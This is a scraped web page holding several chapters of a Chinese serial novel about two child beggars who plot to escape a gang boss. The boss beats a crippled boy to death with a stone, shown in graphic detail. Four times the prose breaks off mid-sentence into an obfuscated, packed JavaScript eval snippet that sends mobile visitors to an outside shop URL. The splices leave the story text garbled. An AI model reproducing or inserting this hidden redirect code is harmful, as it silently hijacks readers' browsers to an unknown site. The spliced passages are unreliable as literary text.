“寒春,你好天真,现在我们只是被抓过去乞讨,我们在跪着,但是到了那里我们连跪都要考虑跪的好不好看,合不合人心意了。”她的声音仿若梦呓,只是另外一只手还是死死地抓着沈寒春,眼睛紧紧地盯着他,“我们不可以被他们卖掉,听到了吗沈寒春,你不可以离开我。” 沈寒春被逼的后退了一步,“小晚,冷静点,这些都是你的猜测,我们还没有到那一步。” “啧。”姜恨晚有点烦躁的站在原地,这是第一次她真正意识到自己很可能不能靠往日的那些小聪明逃出生天,相反,这次只要有一点不对就很可能万劫不复。 “我们要逃。”她的理智渐渐回来了一点,“码头那里,打手之所以那么在意,很快就找到了我们是因为我们看到的就是一个交易现场,而我们作为下一个要被交易的对象,如果在当初就知道自己要被卖掉的话肯定要跑。” 她的眼睛转了一下,看向了沈寒春,随即便皱眉,显然对他们现在的距离感到有点不满,她上前一步拉进了距离,并且用手搂着沈寒春的腰不准他退后,这个距离是对他们来说很正常的距离,足够鼻尖对着鼻尖,抱着沈寒春,明显她的安全感上升了不少,思路又开始通畅。 “寒春,我们要逃。”她又重复了一遍,拿脸蹭着他的脸。 “可是小晚,我们要逃去哪里呢?”沈寒春贴着她的脸,有点担心她,“我们今天还要回去给刀疤脸送钱,码头有他们的人我们还出不去,城门的人守在那里我们也逃不掉,在城里面那些孩子在各个角落,我们藏不住的。” 他抱着姜恨晚,没有管他被攥的有点发麻的手腕,只是顺着她去思考,用手抱着她。 “我们不知道什么时候会被卖掉,在此之前,我们还有时间,小晚,我们还有时间。”沈寒春一下一下地拍着她的后背哄她,直到感受到怀里的女孩渐渐放松下来才停手。 “你说得对,我们还有时间。”姜恨晚放开了他,拉着他就往他们的破屋走。 “我们存了多少钱?”她问,眼神冷淡,带着孤注一掷的决绝。 “大概30枚铜钱。”沈寒春说,“我们要买什么吗?” “嗯,我们要买一把小刀,但是不能明着买,下次我们要换地方了,钱不钱的无所谓,他要打我们就让他打,没讨要够也没关系,我们必须要一把能藏起来的刀,足够我们割开麻绳。” 8. 第 8 章 “好。”沈寒春握着她的手,把她的手从自己的手腕上推开,十指交叉扣住,“那我们现在是先回去吗?” “不对,你让我想一下。”姜恨晚没有推开他,也没有走,只是站在原地开始想,“刀不行,刀太大了,我们藏不住,也带不了,碎瓷片……不行,瓷片太厚,搜身的时候放不了鞋底,还容易裂开刮伤手指。” 她有点烦闷地踢了一下石子,“铁匠铺…必须是流动的铁匠铺,寒春,明天我们去集市。” 沈寒春有点没有理解她的话,但是这不妨碍他答应,“好,明天我们去那里。”他拉着姜恨晚往他们的破屋走,姜恨晚还没有反应过来,只是无意识地跟着他在走。 “除了刀,还要准备什么吗?”沈寒春问,他的声音很清缓,没有焦急地逼问,也没有敷衍,只是在引导姜恨晚一点一点放松,慢慢地去想。 “要一点粮食,我们要开始藏干粮了。”姜恨晚攥着沈寒春的手,慢慢从最开始的应激状态缓了过来,她依然没有表情,但是没有再像最开始那样偏激。 姜恨晚从小就被抛弃,在刀疤脸手下乞讨,很快就学会了怎样才能卖惨,怎样才会讨喜,怎样才能做好一个乖孩子的同时做一个聪明的孩子。 她一直装的很好,直到沈寒春出现之后,两个孩子凑在一起,无依无靠,他们只能依靠彼此,百分之百信赖彼此,压力和死亡如影随形,上一秒和你打招呼的人可能下一秒就去死,背叛和出卖更是家常便饭,只有身边的人是唯一可以确定和掌握住的东西。 在被打时你知道对方就在身边,无论干什么对方都会陪着你,如果没有对方,那生活是怎样的呢,会是更黑暗还是更绝望呢? 姜恨晚不愿意去想。 她只能确定,起码现在,她完全没有做好对方会离开的准备,她就是不想接受离别。 哪怕有一天他们真的要分开,做出那个决定的人也只能是因为他们自己,而不是因为别的什么乱七八糟的人或者是事。 “好,干粮,还有什么?”沈寒春点了点头,凑过身子来看她。 明明本来就长的凶,也不是什么会说话的性格,还要费劲心思来哄她。 姜恨晚必须承认,她有点开心。 “嗯,还要一点钱放在身上。”姜恨晚揪着他的一小撮头发,被沈寒春很轻的拍了一下,“脏,我还没有洗呢。” “哦。”姜恨晚撇了撇嘴,“钱,还有吃的,刀,我们一起藏到那个歪脖子树下面。” “你是说那个我们经常路过在马路上的歪脖子树?”沈寒春回头看了一眼,确定她没再偷偷不高兴后才继续问道。 “嗯,那个地方好拿,最关键的还是离我们的距离近。”姜恨晚往前凑了一点,压低了声音说,“其实我头发里还有一根针。” “嗯?”沈寒春有点诧异地回过了头,“什么时候弄的?”他们几乎24小时呆在一起,他居然还不知道这个。 “昨天晚上,你睡的太死了,我本来还想让你帮我呢,就在我的头发里面,万一被锁住了,可以用来撬锁。”姜恨晚摸着自己的头发,过去给沈寒春看,“就在这里,看到了吗?” 沈寒春点了点头,一根针就这么妥帖地藏在女孩的头发里,“好厉害。” 姜恨晚没说什么,只是把手放下,让头发重新盖住了那根针,这下倒是有点像只有7岁的样子了。 “什么厉害不厉害的,只是多做一点准备而已。” “嗯好。”沈寒春点了点头,“是我睡的太死了,对不起。”他虽然在道歉,但是脸上没什么歉意,只是低垂着眸子,有点可怜地看着她,姜恨晚的手指蜷缩了一下,不自在地移开了视线。 “还有……我们要知道去哪里,还有相关路线……”姜恨晚絮絮叨叨的说着,沈寒春就应着,拉着她往前走。 “还有……” “嗯,好。” 这一路姜恨晚的思绪越跑越快,最简单的计划已经在她的脑海里成型。 直到他们走近屋子时,姜恨晚在脑子里敲定了最后一步计划。 但是这一次,破屋的气氛有点奇怪。 还没有等到他们进去,就听到了一声惨叫和骂声,还有隐隐压抑着的哭腔。 沈寒春牵着姜恨晚,挡在了她的身前,小心的向里面看去。 “啊,救命,救命,对不起我错了,对不起我错了!我真的不敢了,对不起……”瘸腿哭的断断续续的,眼泪和鼻涕混在了一起,刀疤脸拿着石头一下又一下地砸着他以前的断腿处伤口。 “哈啊,疼,对不起……呜,对不起,娘,我好痛。”瘸腿抱着自己的腿想挡,但是这都是无用功,刀疤脸狠狠踹了他一脚就把他掀翻了,他被疼的在地上打滚,没人敢上去拦,也没人敢上去说话。 瘸腿脸上的眼泪和泥巴混在一起,其余人噤若寒蝉,连大气都不敢喘,沈寒春的步子也定住了,姜恨晚听到声音停在了原地。 隔着那扇破门,院子中间的瘸腿还是在哭和惨叫,进去了的孩子缩在角落里,还没进去的孩子就守在门外面,连门都不敢进。 “藏,藏,我让你藏,真是吃饱了撑着了还敢藏钱,啊!瘸腿,我看你是真的活腻了,我看你现在还敢不敢藏!”刀疤脸越吼越大声,他一脚就碾住了瘸腿剩下的那一条腿,发出了令人牙酸的咔哒声。 “呃啊,咳,我……我真的不是故意的,我……对不起,我太饿了。”瘸腿倒在地上,整个人都蜷缩了起来,他用手在空中乱抓,想要推开刀疤脸一样,声音语无伦次,但是没有用,刀疤脸像一尊森严的雕像一样,死死地罩住了他所有的天光和未来,他的性格他的爱好他的喜恶最后只剩下了一捧黄土,和一个被人叫的做多的“瘸腿”这个名字。 人命其实也不值钱,人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341288|199339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生更是比草都要贱的多。 就这样打下去,很快,砸下去的石头就见了血,瘸腿连叫唤的力气都没有了,只能断断续续的哭,和几声带着乡音的“娘” 他痛的在地上滚,刀疤脸就踩上了他的肚子,瘸腿握着他的腿想要挪开,其实到现在只是无意识的本能反应了,想要把自己藏起来,想要躲开,想要逃走,就像是鸡被割喉时还是会忍不住煽动没什么用的翅膀想要逃跑一样。 可是又有什么用呢,周围的人埋着头不敢去看,不知道是哪里有一个极低的呜咽声淹没在了惨叫和殴打声中。 兔死狐悲,莫过于此。 深色的血从瘸腿身上流出来,和鸡的血也没什么不同。一点点的染红了沙地和泥土。 直到最后,他的动静越来越弱,就在刀疤脸把手上的石头扔下的时候,瘸腿突然暴起,他重心不稳,所以只能扑向刀疤脸的双腿把他撞在地上,死死用手压住了他的腰,双目赤红,捡起地上的石头就要砸上去,“老子有名字,老子叫李宏昭,我爹找镇上的先生给我取的名字,老子不是瘸腿,不是!”他奋力又一砸,刀疤脸躲闪不急,居然真的被砸到了这一下。 “好好好,本来还想留你一命的,你这么不识好歹,我看也没什么活着的必要了。”刀疤脸怒极反笑,一把把他掀开,瘸腿重心不稳,踉跄了几下直接倒在了地上,但是这次他像是真的不怕了,吼着说 “我就是要吃饭,老子讨来的钱老子还吃不了了吗,我艹你……呵啊。” 他的话还没有说完,就被粗暴的打断了,刀疤脸喘着粗气,面色阴沉地举起石头往他脑袋上奋力一砸,他的脑袋直接被砸下去了一块,身体动弹了一下,很快又失去了所有挣扎,直到最后,眼睛还望着天空。 血从石头上滴落,最后砸在地上,其他人都抖了一下。 他和独眼不同,就这么直接的死在了所有人面前,刚刚还会怒骂还会哭的人,下一刻就再也不会动弹,这种事情对大多数人来说还是太惨烈了。 刀疤脸又砸了两下,最后把石头一扔,胸口剧烈起伏,怒骂一声“脑子里长蛆了的贱货,恶心的赔钱玩意。” 他又踹了一脚,把人踹翻了个面,吐了口痰在他身上,随便指着两个人让他们把瘸腿扔出去,被指到的两个人颤抖了一下,但是很快就埋着头走上前,想要抬起来瘸腿,有个孩子抬的时候抖了一下,没抬起来,让他砸在了地上,姜恨晚也是第一次知道,原来刚刚死的人再榨一下还是会有血流出来的。 “行了,愣在那里干什么,快点把钱拿出来。”刀疤脸向外面看了一眼,抹了把脸,刚刚的血有一点溅到他的脸上了,粘稠的触感有点难受。 “砰”的一声,是瘸腿的尸体落在了马车上,那是专门用来处理尸体的小推车,上面还糊着黑色的血迹,是上一个人留下的。 现在,又有新的人躺了上去。 9. 第 9 章 屋子里很静。 孩子们沉默地交钱,被搜身,轮到姜恨晚和沈寒春时,刀疤脸看着他们的目光很冷。 姜恨晚把他们讨到的碎银子拿出来了大部分,其余的早就在入门之前就埋在了外面。 不拿出来不现实,茶摊老板看到了赵哥给的钱,可是全部上交又太亏了,银子不比铜钱,好携带,而且通用率更高,他们必须赌。 刀疤脸拍了拍她的衣服,这一次,他特地检查了衣服的边缘,想来瘸腿就是在这个时候被发现的。 姜恨晚心里带着后怕,这里确实是他们之前惯常藏钱的地方,可是这一次因为情况不对,已经提前全部拿出来了,没有再藏在身上。 “把脚抬起来。”刀疤脸的语气很冲,他还带着一股子躁意和烦闷,显得十分有压迫感。 姜恨晚他们把破烂连鞋带子都快散架的草鞋解开,拿在手上,给刀疤脸看。 刀疤脸烦躁地挥了挥手,“行了行了,快点滚。” 往常这个金额的钱已经足够他有一点好脸色了,但是这一次也只是被勉强许可。 晚上,他扔过来了一袋子馒头,这次的数量很多,足够每个人都吃上,但是没人敢抢,因为他还站在门口没有走。 “只要听话,我保证你们有一口吃的。”他的目光扫视过地上的孩子,“可是要是想着像他一样藏钱,或者说是跑……” 他停顿了一下,因为天色已经渐晚,所以夕阳只能照着他的侧脸,剩下的半张脸在阴影里明暗不清。 “那也只能像他一样了。”他丢下了这一句话之后,底下的孩子没一个敢动弹的,他很不满意的“啧”了一声,“你们耳朵聋了吗,我说的话没反应是吗?” “知道了……”稀稀拉拉的附和声响起,直到现在,刀疤脸的脸色都很阴沉,感觉下一刻就要冲上来把他们也打一顿。 最后他走到时候,人群才开始恢复一点动静,有人摸索着去碰那个袋子,这像是一个信号,代表着现在是孩子自己的时间。 姜恨晚和沈寒春拼命向前挤了几步,占着身体小的优势趁乱摸了整整三个出来。 他们没再留恋,赶紧退到一边把战场留给其他人。 他们两个就这么坐在角落里,看着门外一言不发。 屋子里安静下来了,破袋子被争抢完了之后留在了原地,里面已经空了,姜恨晚和沈寒春退到最角落,垂着头一言不发。 今天的事情给大多数人的心里蒙上了一层阴影,有小孩很小声地和周围的朋友攀谈,但是大多数人也只是抱着自己的茅草被想要入睡了。 姜恨晚拉着沈寒春,她愣愣的看着门口,好像还是没有反应过来,直到沈寒春又一次捏了捏她的手,她才回过了头。 “怎么了?是害怕吗?”沈寒春凑过去黏黏糊糊地问她,他抿着嘴唇,想了一会就上前轻轻拍着她的背,“没事的,我会保护你的,不要害怕。” 姜恨晚“嗯”了一声,没有多说什么,只是拉着沈寒春的手紧了紧,她看着周围那些麻木又冷漠的孩子,只感觉到了悲哀。 她现在能做的,只有把沈寒春抱地更紧一点。 “瘸腿本来就很大了,他最近一直没有要到什么钱,刀疤脸看他很不顺眼。”姜恨晚附在他的耳边小声说,“今天还被发现了藏钱,本来就是一个死局。” “我们从来都是用完就扔的用品。” “嗯,是这样啊。”沈寒春点了点头,他看着姜恨晚的眼睛,很认真的听她讲的每一句话,“所以他被刀疤脸打死也是因为这个吗?” 姜恨晚摇了摇头,她趴过去把脸埋在他的肩膀上不去和他对视,“差不多吧,刀疤脸又不是什么大善人,还愿意养一个废人。” “我们都是商品,只要有利益了,就还可以留着,只要能赚到钱,就是有价值的,但是如果没有价值,那就是一个还要吃饭占地方的垃圾。” 姜恨晚的语气很淡,像是在陈述一件无伤大雅的小事。 “我们只能……”她想说逃,但是很快就噤声了,周围的人的声音都断了,她也像是什么都不知道一样无意义的叫唤了两声,像是困极了,刚刚的话都是梦话。 门口,刀疤脸就站在那里,月光很亮,把院子照的惨白,他毫无预兆地站在那里,连一点声音都没有发出。 没有人知道他来了多久,哪怕有人知道,也根本不敢开口。 他提着一个不怎么亮的灯盏,直直地看着沈寒春和姜恨晚,眼神带着审视。 一时间没有人说话,除了有已经睡着的小孩在打呼噜之外,没有人发出来了其他的声音。 他慢慢指着姜恨晚说,“你们两个,过来一下。” 姜恨晚的心砰砰直跳,她有点茫然地看着刀疤脸,揉了揉眼睛,很快就站了起来。 “怎么了嘛?”女孩的声音又软又糯,嗓子还带着刚刚睡醒的沙哑。 沈寒春打了个哈欠,脑袋一点一点的也站了起来。 刀疤脸站在原地没说话,姜恨晚也不能确定他们刚刚的聊天有没有被听到,虽然说他们的声音很小,但是万一呢? 万一,还是更坏的情况呢? “我说过来。”刀疤脸不耐烦地又重复了一遍,“你们两个也听不懂话吗?” 他语气里的烦躁太过明显,姜恨晚的手抖了一下,赶紧把手放下,牵着沈寒春的手快步走上前。 他们什么也没有说,停在了他面前三步的位置,仰头看着刀疤脸,等待着他的发话。 “刚刚在说什么?”刀疤脸双手抱胸,用手点着自己的另一条胳膊,冷不丁地问。 “没说什么啊,我们刚刚在说今天去要钱的那个老板真的好会做生意,能把茶那种卖成商品的样子,还可以带走给家人做伴手礼。”姜恨晚说,她的脸上还带着困倦,声音也断断续续的,像是真的只是在睡前到了什么就说了什么。 刀疤脸没有在这个话题上纠缠,只是看着这两个孩子,仔细端详了一会。 女孩的眼睛很亮,声音也软,脸上还带着点没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341289|199339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褪去的婴儿肥,又软又嫩,看着可爱又讨人喜欢,气质落落大方,像是被教的很好的大家闺秀。 男孩的眉眼很凶,虽然还没长开,但是能确定绝对是个绝好的胚子,硬朗但是因为现在的落魄,还带着点狼狈感,很容易激发人的保护欲和破坏欲。 以前没仔细观察,现在细细看下来,倒真的是两个绝好的苗子。 “你们两个,明天收拾干净一点,去和我见人。”刀疤脸把手放下,那点苟延残喘的火光也在他的手上摇晃,把那两张本来稚嫩的脸晃荡的模糊不清。 “我们,要去哪里啊。”姜恨晚犹豫了一下,还是问了一句。 “问那么多干什么,你们也是好命,如果运气好,从明天开始就不要要饭了。”刀疤脸目光沉沉地盯着他们的脸,带着点暗讽地说,“真是两张漂亮的脸。” 姜恨晚垂着头,把脸埋了下去,在零星的火光下,只能看到她柔顺的头发。 “好了,记得收拾自己,明天你们就不用去要饭了,也许以后都不用去了。” “哥,现在我估摸着夜市还开着,我们现在穿的太烂了,带出去也没什么面子,不如你给我们俩点钱,我们去置办点漂亮衣服,也好带出去长您的脸。”姜恨晚把头抬起来了一点,衬的那张脸更加清秀,稚嫩但是漂亮。 刀疤脸没有第一时间拒绝,他用手托着下巴想了一会儿,最后还是松口,“你们现在穿的,确实也穿不出去,给你们点银钱,在子时之前回来。” 其他的孩子躲在角落看着这一幕,都默契的没有出声,只是躲着,刀疤脸之前脸上的血还没有擦干净,红色的血迹晕染在他的脸上,在火光之下照的更为清晰。 但是姜恨晚只是像没有看到一样,她弯了弯眼角,看上去很开心,但是又不敢笑出声,只是望着刀疤脸,眼睛亮晶晶的,小声地应了声,“谢谢哥,我们一定会按时回来的!” 女孩的笑容很纯粹,她看着刀疤脸,乖乖地等着他给钱,眼睛一眨一眨的,哪怕是刀疤脸,也说不出来什么重话。 按照道理来说,这个时候应该是要有人跟着的,但是跟着两个小孩跑大老远太过没意思,更何况他们根本就跑不了。 聪明,就应该知道会怎么选。 刀疤脸吝啬地从自己的口袋里掏出来了一点碎银子,还是今天姜恨晚他们乞讨得来的,他放下手中的提灯,把碎银子翻了翻,拿出来了一半左右放到姜恨晚手里。 姜恨晚的眼睛唰的一下更亮了,她捧过那点碎银子,对着刀疤脸说了就哥我们走了,就拉着沈寒春冲出了门。 连脚步都带着藏不住的雀跃。 这确实是她第一次给自己买衣服。哪怕是名义上的。 沈寒春被她拽着跑,姜恨晚的脚步越跑越快,一直到沈寒春都微微喘气的时候,姜恨晚才停下脚步。 这里离夜市已经很近了,往常他们来这里至少还要一个钟头,现在整整提前了将近一刻钟。 姜恨晚回头,脸上还带着刚刚的笑容。 10. 第 10 章 姜恨晚脸上的笑容没有褪去,但是她拉着沈寒春的手还在抖。 他们停在了河边,有花灯顺着水漂下来,沈寒春手足无措地站在原地,想要像以前一样抱住她。 但是这一次,他被推开了。 姜恨晚的手停留在他的胸口,手指微微弯曲,不怎么用力,但是就这么挡在了他的胸前。 “怎么了,小晚。”沈寒春的手蜷缩了一下,他想要抬起手,但是胸前的手就这么阻拦了他,他也不敢用力,只能僵在原地,有点焦躁的在原地站着。 “沈寒春。”姜恨晚喊着他的名字,她脸上的笑还没有落下,但是现在装的没有那么真,所以显得很假,和刚才相比,现在的笑更像是肌肉僵硬焊死在了脸上。 “我们要去裁缝铺拿一把修衣服刀,然后买一点迷药,迷药可以拿那种纸包着就藏在我的嘴巴里,干粮就不管了,还有一副地图,我们必须要一副地图。” 她微笑地说,语速没有很快,思路清晰,但是沈寒春就是能感觉到,她现在是“不正常”的。 “小晚……” 姜恨晚又一次打断了他,拍开了他想要牵住她的手,“好了,我们现在最需要的就是活着,活着,你知道吗?” 她看着抿着唇有点焦躁地点头的沈寒春,还是上前摸了摸他的脑袋,“现在我们跑不了,我们出不了这个城,我们没有许可证,也逃不掉,想要出去,只能靠明天刀疤脸他们带着我们出去。” 姜恨晚叹了口气,她像是终于感到情绪了一样,嘴角的笑容回退了,只剩下一片死寂。 “走吧,我们先去夜市。”姜恨晚又向他伸出来手,沿着河岸慢慢的走。 街上人还是很多的,他们以前从来没有在这个时间出来玩过,一是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341290|199339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 允许,二是哪怕出来也是来角落要饭的。 他们穿的破烂,但是还好那两张脸哪怕是在晚上也依旧过得去,所以没什么骂他们晦气。 街上的花灯带着暖色,把姜恨晚的脸打的柔和又漂亮,沈寒春向她望过去,不知道怎么突然就想到了那句被人传唱了很多年的诗,“众里寻他千百度,蓦然回首,那人却在,灯火阑珊处。” “糖葫芦嘞,又大个又香甜的糖葫芦嘞!” “哎,客官要不要来捞金鱼啊,你看这多漂亮啊。” “糖人,好看又好吃的小糖人哦。” “喷香的猪蹄,喷香的猪蹄啊,真的不来一份吗?” 街上人很多,他们被挤在一起,挨着彼此前进,姜恨晚的眼睛被那点光亮吸引,但是她没有停,她清楚自己到底是为什么来的,在此之前,什么都不可以阻止她一丝一毫。 11. 第 11 章 沈寒春把他们拉着的手慢慢撑开了,手指顺着对方的手填满指缝,稳定而无声的牵着她。 “寒春。”她又叫他。 “你怕不怕。”姜恨晚把他的手攥紧,眼眸微垂,她的头发还一翘一翘的,那天去河边洗了头发没有压平,只能放任它东倒西歪。 沈寒春估计没有意识到自己现在的表情称不上有多好看,他的眉毛压着,嘴唇微抿,看上去很不好惹,脾气很差的样子。 “不怕。”沈寒春很快回答,几乎没有多想。 “嗯,我怕。”姜恨晚点了点头,她们混在人群里,两个人个头都很小,只能牵着彼此才不至于走散,她说自己怕,但是沈寒春没有从她面上看到一点恐惧,只是一只手握着他,另一只手无意识地攥着自己的衣角。 路过有一家三口在捞金鱼,小孩指着那个金鱼咯咯直笑,老板在那里给他们递网,纸很薄,不怎么容易捞上来,但是一家三口还是玩的不亦乐乎。 年轻的少年拉着少女,看上去是偷偷跑出来的,少年的衣服用料极好,一看就是大户人家的孩子,男孩一边跑一边对着女孩喊,“前面那个皮影戏要结束了,我们快点跑还能看到。” 女孩不满的撇了撇嘴,“那有什么好看的,只要我想,我们天天都可以看到。”话是怎么说,但是一直没有挣脱开男孩的手,脑袋上金色的发饰在灯光下一闪一闪的。 姜恨晚拉着沈寒春,没有往他们那里看,但是却在他们经过是脚步微顿,少女涂了胭脂,少年也特意选了最好看的一套衣服,生机勃勃,原来世界上的人还可以这么活啊,不用为了生活发愁,不用去想今天要了多少钱,不用想今天会不会被打,只用发愁他到底喜不喜欢我这种事情,发愁自己讨不讨人喜欢。 姜恨晚的脚步只停顿了一下,很快就拉着沈寒春继续走,她的表情冷了一点,身上缝缝补补的衣服遮不住寒,把她冻的手脚冰凉,她没去看渐渐远去的少年,也没去看呆在一起的一家三口,更没有理会街上的人的叫卖声,只是拉着他往裁缝铺走,好像慢了一步,就再也走不下去了一样。 直到她听到了前面有人在说,“过两天回凉城好了,我的老天爷诶,我还没见过这么多的乞丐,在凉城基本上都没有。” 姜恨晚的心中微微一动,她的大脑飞速运转,左手死死攥着沈寒春,脑中的想法还没来得及完全落地就已经开始行动。 “哎喲,没长眼睛吗。”路上还在和旁边的人攀谈的一个大叔被撞到了大腿,他往下面看了下去,在注意到这两个穿着单薄的孩子愣住了,那张国字脸上的肌肉动了动,最后一句重话都没有说出来,只能说,“下次注意一点。” 他说完就想走,但是姜恨晚拉住了他,她很可怜地看着国字脸大叔,眼泪马上就出来了,她用凉城的话说了一句,“叔叔。” 这一声叔叔叫的突然,国字脸直接就愣住了,他被迫停了下来,低着头仔细端详着姜恨晚,越看越觉得面生,确定自己真的没有见过她,只好问“你是哪个瓜娃子哦。”说的也是凉城话,只是语气明显好了不少。 他身边的那个圆脸也仔细地看着姜恨晚,说,“你怎么和那个男孩子两个人在这里哦。”他的语气已经带上了可怜和疑惑,但是更明显的还是心痛,凉城法律严谨,县令带着修了很多法规,已经很少还有这么惨,一看就是还在要饭的孩子了。 姜恨晚腿一软,直接就扑了下去,“叔,叔,我,我们……”她哭的抽抽噎噎的,连一句完整的话都说不出来,眼泪和睫毛混在一团,还没说话,气都呼不顺,一口气堵住,哭的又急又猛。 “啊哟,瓜娃子快起来,发生了什么事情和叔说,叔帮你。”国字脸弯腰扶住了姜恨晚的胳膊,拖住了她的腋下,一发力就强行拽了起来,姜恨晚重心不稳,还被拽着踉跄了一下,被拍着肩重新固定住了。 圆脸看姜恨晚没搭把手的地方,索性看向了那个冷着脸看上去还挺凶的沈寒春,“你说说,你们怎么就到这里了,是不是有人故意搞的,你说出来,我们保证帮你。” 沈寒春还是第一次这么被大人善意的用手胡乱搓着脑袋,手足无措的站在原地,他看着姜恨晚,知道她有自己的计划,但是还没来得及和他说,那他就只能配合着她。 很快,他的眼泪也掉下来了,他面无表情地抹眼泪,手背狠狠擦过脸颊,但是越擦眼泪越多,止也止不住,很快就顺着脸颊一直砸到了地上,偏偏面上没什么表情,感觉受了天大的委屈连哭都哭不出来了。 圆脸哎呦了一声,也不管其他人怎么看的脸,直接扑通一下子单腿跪在了沈寒春面前,用手胡乱的抹着他的眼泪,“怎么了瓜娃子,你楞个样子是咋回事嘛。”因为有点着急,官话和方言一起飙出来了。 街上的人有的在这里驻足停留了,姜恨晚心里有点急,因为现在人越多,被刀疤脸知道的可能性越大,现在还在街上,随时可能被看到他们这么不守规矩的一面。 她面上不显,只是拉住了国字脸的手说,“叔,我现在好饿,可以带我们去一个小饭店吗,我……我给钱的,只是想和你多待一会。”她还在哭,但是已经拉着国字脸想往别的地方走了,她只是拉着,但是没动,把主动权交给了国字脸。 国字脸回头看了一眼圆脸,圆脸点了点头,“老蒋,方正我们也没什么事情,带着他们去吃一餐饭也行啊。” 事发突然,国字脸和圆脸都有点懵,但是都没有想着是不是被碰瓷了,凉城人在这种时候总是要心软一点的,这是姜恨晚多年以来观察到的的事情,而现在,她也只能利用这份心软。 国字脸点了点头,刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347136|199339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚想让圆脸照看一下沈寒春就发现那个孩子已经被牢牢的牵住了。 姜恨晚死死攥着沈寒春,挡住了大部分视线,她像是抓住了最后一根稻草一样抓着沈寒春,尽管面上不显,但是国字脸行走江湖这么多年,什么场面还没见过了,这就是标准的缺乏安全感想要下意识地抓住自己最信任的人。 沈寒春向前走了几步,主动和她并肩跟在了国字脸后面,仰头看着他,没有多说什么但是满眼都是祈求和渴望。 国字脸到底还是没有盲目帮忙,想着带他们去一家比较有名气的饭店,万一碰上了什么事情也好报官,但是姜恨晚扯着他的手臂,仰着头看他,轻轻摇了一下他的胳膊,她的眼泪还有泪光,“叔,我们去那边的街上好不好,我们到点就要回去,那边太远了,我们赶不过去。” 姜恨晚的眼睛红红的,整张小脸皱巴巴的,看上去委屈又没有办法,她拉着国字脸说,“叔,我们……我们本来就是凉城人,爸妈经商,家中人口稀少,在5年前旱灾里基本上死绝了,他们……就只能带着我们一起逃难,但是……但是逃的时候他们染上了时疫,先后都去了,就只剩下我们两个,也不知道怎么回去,呜……我的爸爸叫张顺昌,妈妈叫李小良,我……我一个人在这里,我们想要报官,但是没有身份可以证明,现在连怎么回去都不知道。”她边说边抹眼泪,声音断断续续的,内容颠三倒四,但是却还是足够清晰。 很她没有说实话,因为准确来说他们就是黑户,被卖给了人贩子,失去了路引,她现在只能编造,不管怎么报官结局都是一样的,被抓回去,她只能编造一个像模像样的身份来短暂的利用国字脸的同情心。 “你……哎,也是个可怜人啊。”国字脸叹了口气,他拉着姜恨晚的手就要往那边的饭店走。 “哎,徐哥,我们还是下次去看那个皮影吧。”圆脸用手戳着沈寒春的脸,头也没回的说道。 “那玩意有什么好看的,也就只有你爱看了。”国字脸怼了一句,“现实可比皮影戏好看多了。” “哼,也是啊。”圆脸拉着沈寒春,往前走的时候又回头看了两眼他,男孩很沉默地拉着女孩,身体也在无意识地护着她,圆脸也只能打着哈哈和国字脸一起走在他们外边。 路上偶尔有人奇怪地看来他们一眼,也很快收回来视线看向了其他方向。 “叔,你们是来这里做生意的吗?”姜恨晚问,她的声音还带着刚刚哭过的沙哑,拉着国字脸小声地问。 国字脸到底还是有一点警惕的,只是感叹了一句,“算是吧,我们也常年往外面,没办法,要讨生活啊。” 圆脸隔着两个人和国字脸说,“咱们还算是好的了。” 等圆脸抱着脑袋说完,姜恨晚又扯了扯国字脸问,“叔,你们什么时候走。” 12. 第 12 章 “别急别急,现在就走了。”国字脸以为她是嫌弃他们说话耽误了时间,笑着摸了摸自己的脑袋,“福子,别老走会就停下来聊天,我们到了再说。” 姜恨晚顿了一下,有点懊恼地皱了一下眉,但是什么都没有说,只是跟在了他们后面。 啧,不能太着急了。 国字脸是个很自来熟的人,基本上和谁都聊的起来,他抱着脑袋走在了最后面,“小姑娘,你们到锦城来了也有好几年了吧。” 姜恨晚点了点头,踢着青石板上的碎石子,“是啊,也有好几年了。”声音闷闷的,就连脑袋上的碎发都焉啦吧唧的。 